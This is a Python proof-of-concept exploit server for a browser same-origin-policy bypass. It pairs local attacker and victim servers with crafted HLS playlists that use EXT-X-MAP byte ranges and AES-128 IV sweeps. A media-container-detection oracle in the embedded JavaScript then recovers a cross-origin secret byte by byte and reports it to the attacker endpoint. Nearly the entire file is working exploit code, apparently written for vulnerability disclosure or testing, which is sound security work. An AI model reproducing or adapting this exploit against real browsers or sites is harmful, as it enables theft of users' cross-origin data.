#!/usr/bin/env python3
"""
POC server for HLS EXT-X-MAP cross-origin AES-CBC oracle.

Runs two HTTP servers (different origins by port):
  - 127.0.0.1:8080  -> attacker origin (playlist, key, segment, exploit page)
  - 127.0.0.1:8081  -> victim  origin (secret resource the attacker wants to read)

The exploit page sweeps IV[0] across 0..255 for each victim byte offset and
uses the container-detection oracle (durationchange vs. error) to recover the
byte, then prints the recovered secret.
"""
import http.server
import socketserver
import threading
import json
import sys
import re
from urllib.parse import urlparse, parse_qs

# ---------------------------------------------------------------------------
# Minimal pure-Python AES-128 (block decrypt only). No padding, no modes.
# ---------------------------------------------------------------------------

_SBOX = bytes.fromhex(
    "637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0"
    "b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275"
    "09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf"
    "d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2"
    "cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb"
    "e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08"
    "ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e"
    "e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16")
_INV_SBOX = bytes(256)
_tmp = bytearray(256)
for i, c in enumerate(_SBOX):
    _tmp[c] = i
_INV_SBOX = bytes(_tmp)
_RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36]

def _xtime(a):
    return ((a << 1) ^ 0x1B) & 0xFF if a & 0x80 else a << 1

def _gmul(a, b):
    r = 0
    for _ in range(8):
        if b & 1:
            r ^= a
        a = _xtime(a)
        b >>= 1
    return r

def _expand_key(key):
    # 16-byte key -> 176-byte expanded key (11 round keys)
    w = list(key)
    for i in range(4, 44):
        t = w[4*(i-1):4*i]
        if i % 4 == 0:
            t = [_SBOX[t[1]] ^ _RCON[i//4 - 1], _SBOX[t[2]], _SBOX[t[3]], _SBOX[t[0]]]
        w += [w[4*(i-4)+j] ^ t[j] for j in range(4)]
    return bytes(w)

def _add_round_key(s, rk):
    for c in range(4):
        for r in range(4):
            s[r][c] ^= rk[4*c + r]

def _inv_shift_rows(s):
    s[1][0],s[1][1],s[1][2],s[1][3] = s[1][3],s[1][0],s[1][1],s[1][2]
    s[2][0],s[2][1],s[2][2],s[2][3] = s[2][2],s[2][3],s[2][0],s[2][1]
    s[3][0],s[3][1],s[3][2],s[3][3] = s[3][1],s[3][2],s[3][3],s[3][0]

def _inv_sub_bytes(s):
    for r in range(4):
        for c in range(4):
            s[r][c] = _INV_SBOX[s[r][c]]

def _inv_mix_columns(s):
    for c in range(4):
        a = [s[r][c] for r in range(4)]
        s[0][c] = _gmul(a[0],0x0e)^_gmul(a[1],0x0b)^_gmul(a[2],0x0d)^_gmul(a[3],0x09)
        s[1][c] = _gmul(a[0],0x09)^_gmul(a[1],0x0e)^_gmul(a[2],0x0b)^_gmul(a[3],0x0d)
        s[2][c] = _gmul(a[0],0x0d)^_gmul(a[1],0x09)^_gmul(a[2],0x0e)^_gmul(a[3],0x0b)
        s[3][c] = _gmul(a[0],0x0b)^_gmul(a[1],0x0d)^_gmul(a[2],0x09)^_gmul(a[3],0x0e)

def aes128_decrypt_block(key, block):
    """Raw AES-128 block decrypt: D_k(block). 16-byte key, 16-byte block."""
    rk = _expand_key(key)
    s = [[block[4*c + r] for c in range(4)] for r in range(4)]
    _add_round_key(s, rk[160:176])
    for rnd in range(9, 0, -1):
        _inv_shift_rows(s)
        _inv_sub_bytes(s)
        _add_round_key(s, rk[16*rnd:16*rnd+16])
        _inv_mix_columns(s)
    _inv_shift_rows(s)
    _inv_sub_bytes(s)
    _add_round_key(s, rk[0:16])
    return bytes(s[r][c] for c in range(4) for r in range(4))

# ---------------------------------------------------------------------------
# Crypto setup for the oracle
# ---------------------------------------------------------------------------

KEY = bytes(16)                     # all-zero AES-128 key
C1  = bytes(16)                     # second ciphertext block (seg[15..30])
DK_C1 = aes128_decrypt_block(KEY, C1)
# Ensure PKCS7 p=1 padding regardless of victim byte:
#   P1[15] = D_k(C1)[15] XOR C0[15] = D_k(C1)[15] XOR seg[14] == 0x01
SEG14 = DK_C1[15] ^ 0x01
# seg = [0]*14 + [SEG14] + [0]*16 -> 31 bytes
SEG = bytes(14) + bytes([SEG14]) + C1
assert len(SEG) == 31

# Precompute recovery table:
#   For candidate v in 0..255, C0 = [v] + seg[0..14] = [v, 0..0, SEG14]
#   dk0[v] = D_k(C0)[0]
#   plaintext[0] = dk0[V] XOR IV[0]
#   When IV[0]_match gives plaintext[0]==0x47:  dk0[V] = IV[0]_match XOR 0x47
#   So V = dk0_inverse[IV[0]_match XOR 0x47]
C0_TAIL = bytes(14) + bytes([SEG14])   # seg[0..14] (15 bytes)
DK0 = [aes128_decrypt_block(KEY, bytes([v]) + C0_TAIL)[0] for v in range(256)]
# Map dk0 value -> v. (256 inputs into 256 outputs of an 8-bit function — may
# collide; in practice this is close to a bijection. We provide the full table
# to JS so it can resolve ambiguities if any.)

# The "secret" the victim serves. The attacker should not be able to read this
# cross-origin under SOP — the POC recovers it via the oracle.
SECRET = b"HLS-SOP-BYPASS!"

# Per-probe network hit counters (server-side oracle).
SEG_HITS = {}       # probe_id -> count
INIT_HITS = {}      # probe_id -> count
LOCK = threading.Lock()

ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 8080
VICTIM_HOST   = "127.0.0.1"
VICTIM_PORT   = 8081

# Real MPEG-TS data for the second segment, so the kMP2T path eventually
# emits tracks and fires `loadedmetadata` (the JS-observable oracle).
import os
with open(os.path.join(os.path.dirname(__file__), "bear0.ts"), "rb") as _f:
    REAL_TS = _f.read()

# ---------------------------------------------------------------------------
# Victim server (cross-origin). Serves /secret.bin with Range support.
# Content-Type: application/octet-stream so ORB allows it through.
# ---------------------------------------------------------------------------

class VictimHandler(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write("[victim ] " + (fmt % args) + "\n")

    def do_HEAD(self):
        self._serve(head=True)

    def do_GET(self):
        self._serve(head=False)

    def _serve(self, head):
        u = urlparse(self.path)
        if u.path != "/secret.bin":
            self.send_error(404)
            return
        q = parse_qs(u.query)
        pid = q.get("p", [""])[0]
        if pid:
            with LOCK:
                INIT_HITS[pid] = INIT_HITS.get(pid, 0) + 1
        body = SECRET
        rng = self.headers.get("Range")
        if rng:
            m = re.match(r"bytes=(\d+)-(\d+)?", rng)
            start = int(m.group(1))
            end = int(m.group(2)) if m.group(2) else len(body) - 1
            end = min(end, len(body) - 1)
            chunk = body[start:end+1]
            self.send_response(206)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Accept-Ranges", "bytes")
            self.send_header("Content-Range", f"bytes {start}-{end}/{len(body)}")
            self.send_header("Content-Length", str(len(chunk)))
            self.end_headers()
            if not head:
                self.wfile.write(chunk)
        else:
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Accept-Ranges", "bytes")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            if not head:
                self.wfile.write(body)

# ---------------------------------------------------------------------------
# Attacker server.
# ---------------------------------------------------------------------------

POC_HTML = r"""<!doctype html>
<meta charset="utf-8">
<title>HLS EXT-X-MAP AES-CBC oracle</title>
<pre id="log"></pre>
<script>
const LOG = document.getElementById('log');
function log(s) { LOG.textContent += s + '\n'; console.log(s); }

const N_BYTES = parseInt(new URLSearchParams(location.search).get('n')||'6',10);
const PAR     = parseInt(new URLSearchParams(location.search).get('par')||'8',10);
const DK0 = __DK0__;  // dk0[v] = D_k([v||seg[0..14]])[0]
let pid_ctr = 0;

// Probe one (offset, iv0) pair. Resolve {hit, msg, ms, seg, init} where
// hit=true means container detection returned kMP2T (loadedmetadata fired).
function probe(off, iv0) {
  return new Promise((resolve) => {
    const pid = (pid_ctr++).toString(36);
    const v = document.createElement('video');
    v.muted = true;
    v.preload = 'auto';
    let done = false;
    const t0 = performance.now();
    const finish = (hit, msg) => {
      if (done) return;
      done = true;
      const ms = performance.now() - t0;
      v.removeAttribute('src');
      try { v.load(); } catch (e) {}
      v.remove();
      // Also fetch server-side counts for diagnostic logging.
      fetch(`/count?p=${pid}`).then(r=>r.json()).then(c => {
        resolve({hit, msg, ms, seg: c.seg, init: c.init});
      });
    };
    v.addEventListener('loadedmetadata', () => finish(true, 'loadedmetadata d='+v.duration));
    v.addEventListener('durationchange', () => {
      if (isFinite(v.duration) && v.duration > 0) finish(true, 'durationchange d='+v.duration);
    });
    v.addEventListener('error', () => {
      const e = v.error;
      finish(false, 'error code='+(e?e.code:'?')+' msg='+JSON.stringify(e?e.message:''));
    });
    setTimeout(() => finish(false, 'timeout'), 15000);
    v.src = `/playlist.m3u8?off=${off}&iv0=${iv0}&p=${pid}`;
    document.body.appendChild(v);
  });
}

async function recoverByte(off) {
  // Sweep iv0 with PAR concurrent probes.
  for (let base = 0; base < 256; base += PAR) {
    const batch = [];
    for (let i = 0; i < PAR && base+i < 256; i++)
      batch.push(probe(off, base+i));
    const res = await Promise.all(batch);
    for (let i = 0; i < res.length; i++) {
      if (res[i].hit) {
        const iv0 = base + i;
        const target = iv0 ^ 0x47;
        const cands = [];
        for (let b = 0; b < 256; b++) if (DK0[b] === target) cands.push(b);
        log(`  off=${off}: HIT at iv0=0x${iv0.toString(16).padStart(2,'0')} ` +
            `(${res[i].msg}, ${res[i].ms.toFixed(0)}ms, seg=${res[i].seg} init=${res[i].init}) ` +
            `-> dk0=0x${target.toString(16)} -> bytes [${cands.map(c=>'0x'+c.toString(16)).join(',')}] ` +
            `'${cands.map(c=>c>=32&&c<127?String.fromCharCode(c):'.').join('')}'`);
        return cands;
      }
    }
  }
  log(`  off=${off}: NO HIT in 256 probes`);
  return null;
}

(async () => {
  log('[*] HLS EXT-X-MAP cross-origin AES-CBC container-detection oracle');
  log('[*] Attacker origin : ' + location.origin);
  log('[*] Victim resource : http://__VICTIM__/secret.bin');
  log('[*] Recovering first ' + N_BYTES + ' bytes (?n=N to change)...');
  log('');
  const out = [];
  for (let off = 0; off < N_BYTES; off++) {
    const cands = await recoverByte(off);
    out.push(cands || []);
  }
  // Render best-guess string (prefer printable ASCII among candidates).
  const guess = out.map(cs => {
    if (!cs || !cs.length) return 0x3f;
    for (const c of cs) if (c >= 32 && c < 127) return c;
    return cs[0];
  });
  const s = String.fromCharCode(...guess);
  log('');
  log('============================================================');
  log('[+] RECOVERED CROSS-ORIGIN BYTES: ' + JSON.stringify(s));
  log('[+] candidate sets: ' + JSON.stringify(out));
  log('============================================================');
  document.title = 'DONE: ' + s;
  fetch('/result?r=' + encodeURIComponent(s));
})();
</script>
"""

DEBUG_HTML = r"""<!doctype html>
<meta charset="utf-8"><pre id="log"></pre>
<script>
const LOG = document.getElementById('log');
function log(s) { LOG.textContent += s + '\n'; console.log('DEBUG: '+s); }
function probe(off, iv0, pid) {
  return new Promise((resolve) => {
    const v = document.createElement('video');
    v.muted = true; v.preload = 'auto';
    const t0 = performance.now();
    const events = [];
    let done = false;
    const fin = (tag) => {
      if (done) return; done = true;
      const ms = performance.now()-t0;
      v.removeAttribute('src'); try{v.load();}catch(e){} v.remove();
      fetch('/count?p='+pid).then(r=>r.json()).then(c=>{
        resolve({tag, ms, events, err: tag.startsWith('error')?tag:null, seg:c.seg, init:c.init});
      });
    };
    ['loadstart','durationchange','loadedmetadata','loadeddata','canplay','error','stalled','suspend','emptied'].forEach(ev=>{
      v.addEventListener(ev, ()=>{
        events.push(ev+(ev==='durationchange'?'('+v.duration+')':''));
        if (ev==='loadedmetadata') fin('loadedmetadata');
        if (ev==='error') fin('error code='+v.error.code+' msg='+v.error.message);
      });
    });
    setTimeout(()=>fin('timeout'), 20000);
    v.src = '/playlist.m3u8?off='+off+'&iv0='+iv0+'&p='+pid;
    document.body.appendChild(v);
  });
}
(async()=>{
  log('Probe MISS (iv0=0x00, expect kUnsupportedContainer):');
  let r = await probe(0, 0x00, 'miss');
  log('  -> '+r.tag+' in '+r.ms.toFixed(0)+'ms events=['+r.events.join(',')+'] seg='+r.seg+' init='+r.init);
  log('Probe HIT  (iv0=0xf0, expect kMP2T for V=\"H\"):');
  r = await probe(0, 0xf0, 'hit');
  log('  -> '+r.tag+' in '+r.ms.toFixed(0)+'ms events=['+r.events.join(',')+'] seg='+r.seg+' init='+r.init);
  document.title = 'DEBUG DONE';
})();
</script>
"""

class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write("[attack ] " + (fmt % args) + "\n")

    def do_HEAD(self):
        self.do_GET()

    def do_GET(self):
        u = urlparse(self.path)
        q = parse_qs(u.query)
        if u.path == "/poc.html":
            body = (POC_HTML
                    .replace("__DK0__", json.dumps(DK0))
                    .replace("__VICTIM__", f"{VICTIM_HOST}:{VICTIM_PORT}"))
            self._send(200, "text/html; charset=utf-8", body.encode())
        elif u.path == "/debug.html":
            self._send(200, "text/html; charset=utf-8", DEBUG_HTML.encode())
        elif u.path == "/playlist.m3u8":
            off = int(q.get("off", ["0"])[0])
            iv0 = int(q.get("iv0", ["0"])[0]) & 0xFF
            pid = q.get("p", ["x"])[0]
            iv = bytes([iv0]) + bytes(15)
            pl = (
                "#EXTM3U\n"
                "#EXT-X-VERSION:7\n"
                "#EXT-X-TARGETDURATION:10\n"
                "#EXT-X-PLAYLIST-TYPE:VOD\n"
                f"#EXT-X-KEY:METHOD=AES-128,URI=\"http://{ATTACKER_HOST}:{ATTACKER_PORT}/key\","
                f"IV=0x{iv.hex().upper()}\n"
                f"#EXT-X-MAP:URI=\"http://{VICTIM_HOST}:{VICTIM_PORT}/secret.bin?p={pid}\","
                f"BYTERANGE=\"1@{off}\"\n"
                "#EXTINF:1,\n"
                f"http://{ATTACKER_HOST}:{ATTACKER_PORT}/seg/{pid}\n"
                "#EXT-X-KEY:METHOD=NONE\n"
                "#EXTINF:5,\n"
                f"http://{ATTACKER_HOST}:{ATTACKER_PORT}/real\n"
                "#EXT-X-ENDLIST\n"
            )
            self._send(200, "application/vnd.apple.mpegurl", pl.encode())
        elif u.path == "/key":
            self._send(200, "application/octet-stream", KEY)
        elif u.path.startswith("/seg/"):
            pid = u.path[5:]
            with LOCK:
                SEG_HITS[pid] = SEG_HITS.get(pid, 0) + 1
            self._send(200, "application/octet-stream", SEG)
        elif u.path == "/real":
            self._send(200, "application/octet-stream", REAL_TS)
        elif u.path == "/count":
            pid = q.get("p", [""])[0]
            with LOCK:
                body = json.dumps({"seg": SEG_HITS.get(pid, 0),
                                   "init": INIT_HITS.get(pid, 0)})
            self._send(200, "application/json", body.encode())
        elif u.path == "/result":
            # JS posts the recovered string here so it shows up in stderr.
            r = q.get("r", [""])[0]
            sys.stderr.write(f"\n========================================\n")
            sys.stderr.write(f"[RESULT] JS recovered: {r!r}\n")
            sys.stderr.write(f"[RESULT] actual secret: {SECRET.decode()!r}\n")
            sys.stderr.write(f"========================================\n\n")
            self._send(200, "text/plain", b"ok")
        else:
            self.send_error(404)

    def _send(self, code, ctype, body):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Accept-Ranges", "bytes")
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        if self.command != "HEAD":
            self.wfile.write(body)

# ---------------------------------------------------------------------------

class ThreadedHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    allow_reuse_address = True
    daemon_threads = True

def main():
    print(f"[*] AES self-test: D_k(0^16)[0..3] = {DK_C1[:4].hex()}", file=sys.stderr)
    print(f"[*] seg[14] = 0x{SEG14:02x}", file=sys.stderr)
    print(f"[*] victim secret = {SECRET!r}", file=sys.stderr)

    victim = ThreadedHTTPServer((VICTIM_HOST, VICTIM_PORT), VictimHandler)
    attacker = ThreadedHTTPServer((ATTACKER_HOST, ATTACKER_PORT), AttackerHandler)
    threading.Thread(target=victim.serve_forever, daemon=True).start()
    print(f"[*] victim   listening on http://{VICTIM_HOST}:{VICTIM_PORT}/secret.bin", file=sys.stderr)
    print(f"[*] attacker listening on http://{ATTACKER_HOST}:{ATTACKER_PORT}/poc.html", file=sys.stderr)
    attacker.serve_forever()

if __name__ == "__main__":
    main()